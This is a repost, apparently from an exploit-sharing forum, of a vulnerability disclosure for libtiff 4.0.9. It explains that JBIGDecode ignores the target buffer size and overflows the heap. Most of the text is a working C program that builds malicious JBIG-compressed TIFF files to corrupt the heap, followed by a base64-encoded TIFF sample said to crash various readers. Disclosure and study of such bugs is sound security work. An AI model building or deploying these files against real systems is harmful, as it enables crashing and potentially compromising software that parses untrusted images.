Exploit libtiff 4.0.9 - Decodes Arbitrarily Sized JBIG into a Target Buffer

Exploiter · 21 Дек 2022

libtiff 4.0.9 - Decodes Arbitrarily Sized JBIG into a Target Buffer

C:

/*
libtiff up to and including 4.0.9 decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size.

The issue occurs because JBIGDecode entirely ignores the size of the buffer that is passed to it:


static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
{
	struct jbg_dec_state decoder;
	int decodeStatus = 0;
	unsigned char* pImage = NULL;
	(void) size, (void) s;
	if (isFillOrder(tif, tif->tif_dir.td_fillorder))
	{
		TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
	}
	jbg_dec_init(&decoder);
(...)
	decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
				  (size_t)tif->tif_rawdatasize, NULL);
	if (JBG_EOK != decodeStatus)
	{
		(...)
	}
	pImage = jbg_dec_getimage(&decoder, 0);
	_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
	jbg_dec_free(&decoder);
	return 1;
}


The 4th line above is apparently to silence compiler warnings; the code proceeds to decode the JBIG contents, and then blindly copies as many bytes as decoded into the target buffer by means of _TIFFmemcpy.

The attack primitive here ends up as follows:
1) The attacker gets to perform an allocation of a size of his choosing.
2) The attacker gets to write a pretty arbitrary amount of data of his choosing into this buffer.

Reproducing testcases can be generated using the following C code:
=============================================================================
*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <stdint.h>
#include "jbig.h"


void output_bie(unsigned char *start, size_t len, void *file)
{
  fwrite(start, 1, len, (FILE *) file);

  return;
}

int main(int argc, char**argv)
{
  FILE* inputfile = fopen(argv[1], "rb");
  FILE* outputfile = fopen(argv[2], "wb");

  // Write the hacky TIF header.
  unsigned char buf[] = {
    0x49, 0x49, // Identifier.
    0x2A, 0x00, // Version.
    0xCA, 0x03, 0x00, 0x00, // First IFD offset.
    0x32, 0x30, 0x30, 0x31,
    0x3a, 0x31, 0x31, 0x3a,
    0x32, 0x37, 0x20, 0x32,
    0x31, 0x3a, 0x34, 0x30,
    0x3a, 0x32, 0x38, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00,
    0x38, 0x00, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00
  };
  fwrite(&(buf[0]), sizeof(buf), 1, outputfile);

  // Read the inputfile.
  struct stat st;
  stat(argv[1], &st);
  size_t size = st.st_size;
  unsigned char* data = malloc(size);
  fread(data, size, 1, inputfile);

  // Calculate how many "pixels" we have in the input.
  unsigned char *bitmaps[1] = { data };
  struct jbg_enc_state se;

  jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile);
  jbg_enc_out(&se);
  jbg_enc_free(&se);

  // The raw JBIG data has been written, now write the IFDs for the TIF file.
  unsigned char ifds[] = {
    0x0E, 0x00, // Number of entries.     +0

    0xFE, 0x00, // Subfile type.          +2
    0x04, 0x00, // Datatype: LONG.        +6
    0x01, 0x00, 0x00, 0x00, // 1 element. +10
    0x00, 0x00, 0x00, 0x00, // 0          +14
    0x00, 0x01, // IMAGE_WIDTH            +16
    0x03, 0x00, // Datatype: SHORT.       +18
    0x01, 0x00, 0x00, 0x00, // 1 element. +22
    0x96, 0x00, 0x00, 0x00, // 96 hex width.  +26
    0x01, 0x01, // IMAGE_LENGTH           +28
    0x03, 0x00, // SHORT                  +30
    0x01, 0x00, 0x00, 0x00, // 1 element  +34
    0x96, 0x00, 0x00, 0x00, // 96 hex length. +38
    0x02, 0x01, // BITS_PER_SAMPLE        +40
    0x03, 0x00, // SHORT                  +42
    0x01, 0x00, 0x00, 0x00, // 1 element  +46
    0x01, 0x00, 0x00, 0x00, // 1          +50
    0x03, 0x01, // COMPRESSION            +52
    0x03, 0x00, // SHORT                  +54
    0x01, 0x00, 0x00, 0x00, // 1 element  +58
    0x65, 0x87, 0x00, 0x00, // JBIG       +62
    0x06, 0x01, // PHOTOMETRIC            +64
    0x03, 0x00, // SHORT                  +66
    0x01, 0x00, 0x00, 0x00, // 1 element  +70
    0x00, 0x00, 0x00, 0x00,          // / +74
    0x11, 0x01, // STRIP_OFFSETS          +78
    0x04, 0x00, // LONG                   +80
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +82
    0x2C, 0x00, 0x00, 0x00, // Offset 2C in file  +86
    0x15, 0x01, // SAMPLES_PER_PIXEL      +90
    0x03, 0x00, // SHORT                  +92
    0x01, 0x00, 0x00, 0x00, // 1 element  +94
    0x01, 0x00, 0x00, 0x00, // 1          +98
    0x16, 0x01, // ROWS_PER_STRIP         +102
    0x04, 0x00, // LONG                   +104
    0x01, 0x00, 0x00, 0x00, // 1 element  +106
    0xFF, 0xFF, 0xFF, 0xFF, // Invalid    +110
    0x17, 0x01, // STRIP_BYTE_COUNTS      +114
    0x04, 0x00, // LONG                   +116
    0x13, 0x00, 0x00, 0x00, // 0x13 elements  +118
    0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122
    0x1A, 0x01, // X_RESOLUTION
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 element
    0x1C, 0x00, 0x00, 0x00,
    0x1B, 0x01, // Y_RESOLUTION
    0x05, 0x00, // RATIONAL
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x24, 0x00, 0x00, 0x00,
    0x28, 0x01, // RESOLUTION_UNIT
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // 2
    0x0A, 0x01, // FILL_ORDER
    0x03, 0x00, // SHORT
    0x01, 0x00, 0x00, 0x00, // 1 Element
    0x02, 0x00, 0x00, 0x00, // Bit order inverted.
    0x00, 0x00, 0x00, 0x00 };

  // Adjust the offset for the IFDs.
  uint32_t ifd_offset = ftell(outputfile);
  fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);
  fseek(outputfile, 4, SEEK_SET);
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  // Adjust the strip size properly.
  fseek(outputfile, ifd_offset + 118, SEEK_SET);
  fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

  fclose(outputfile);
  fclose(inputfile);
  return 0;
}

/*
===============================================================
Build & link with -ljbig.

You can then create a new TIFF file that corrupts the heap by doing
./a.out file_with_data_to_clobber_the_heap_with.txt outputfile.tiff

An example TIFF file that crashes various tiff readers is base64-encoded
below:

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
AAAAAAAA
 
Labels:
Vendor-libtiff
Product-libtiff
Severity-High
Methodology-source-review (e.g. Methodology-source-review)
Finder-thomasdullien
Reported-2018-Oct-13
*/

Поиск

Exploit libtiff 4.0.9 - Decodes Arbitrarily Sized JBIG into a Target Buffer

Exploiter

Похожие темы